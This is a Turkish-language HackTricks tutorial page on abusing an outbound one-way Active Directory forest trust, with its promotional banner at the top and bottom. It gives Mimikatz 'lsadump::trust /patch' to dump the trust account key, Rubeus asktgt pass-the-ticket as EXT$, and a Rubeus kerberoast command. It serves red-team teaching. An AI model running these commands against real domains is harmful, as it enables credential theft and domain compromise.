External Forest Domain - One-Way (Outbound)

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Bu senaryoda etki alanınız, farklı etki alanlarından bir ilkeye bazı ayrıcalıklar güvenmektedir.

Numaralandırma

Dışa Doğru Güven

# Notice Outbound trust
Get-DomainTrust
SourceName      : root.local
TargetName      : ext.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain             : root.local
GroupName               : External Users
GroupDistinguishedName  : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain            : root.io
MemberName              : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)

Güvenlik Hesabı Saldırısı

Bir güvenlik açığı, iki etki alanı arasında bir güven ilişkisi kurulduğunda ortaya çıkar, burada etki alanı A ve etki alanı B olarak tanımlandı, etki alanı B güvenini etki alanı A'ya uzatır. Bu kurulumda, etki alanı B için etki alanı A'da özel bir hesap oluşturulur ve bu hesap, iki etki alanı arasındaki kimlik doğrulama sürecinde kritik bir rol oynar. Etki alanı B ile ilişkilendirilen bu hesap, etki alanları arasında hizmetlere erişmek için biletleri şifrelemek için kullanılır.

Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve karmasının bir Komut Satırı aracı kullanılarak etki alanı A'daki bir Etki Alanı Denetleyicisinden çıkarılabileceğidir. Bu eylemi gerçekleştirmek için kullanılan komut:

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local

Bu çıkarma, adının sonunda $ ile tanımlanan hesabın etkin ve A alanının "Domain Users" grubuna ait olması nedeniyle mümkündür, bu da bu grubun izinleriyle ilişkilendirilmiş izinlerin devralınmasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak A alanına karşı kimlik doğrulaması yapmasına olanak tanır.

Uyarı: Bu durumu kullanarak, sınırlı izinlerle bile olsa, bir kullanıcı olarak A alanında bir dayanak noktası elde etmek mümkündür. Bununla birlikte, bu erişim, A alanında numaralandırma yapmak için yeterlidir.

ext.local'in güvenen alan ve root.local'in güvenilen alan olduğu bir senaryoda, root.local içinde EXT$ adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven anahtarlarını dökerek, root.local içindeki EXT$ kimlik bilgileri ortaya çıkarılabilir. Bunu başarmak için kullanılacak komut:

lsadump::trust /patch

Bunu takiben, çıkarılan RC4 anahtarını kullanarak başka bir araç komutunu kullanarak root.local içinde root.local\EXT$ olarak kimlik doğrulaması yapılabilir:

.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt

Bu kimlik doğrulama adımı, root.local içindeki hizmetleri numaralandırma ve hatta sömürme olasılığını açar, örneğin bir Kerberoast saldırısı gerçekleştirerek hizmet hesabı kimlik bilgilerini çıkarmak için:

.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local

Açık metin güven şifresi toplama

Önceki akışta, açık metin şifresi yerine (ayrıca mimikatz tarafından dökülen) güven hash'i kullanılmıştır.

Açık metin şifresi, mimikatz'den gelen [ CLEAR ] çıktısının onaltılıktan dönüştürülerek ve ' \x00 ' null baytları çıkarılarak elde edilebilir:

Bazen bir güven ilişkisi oluşturulurken, güven için bir şifre kullanıcı tarafından yazılmalıdır. Bu gösterimde, anahtar orijinal güven şifresidir ve dolayısıyla insan tarafından okunabilir. Anahtar döngüler (30 gün) olduğunda, açık metin insan tarafından okunabilir olmayacak ancak teknik olarak hala kullanılabilir olacaktır.

Açık metin şifresi, güven hesabının Kerberos gizli anahtarını kullanarak bir TGT istemek yerine güven hesabı olarak düzenli kimlik doğrulaması yapmak için kullanılabilir. Burada, ext.local'dan root.local'a Domain Yöneticileri üyeleri için sorgulama yapılıyor:

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated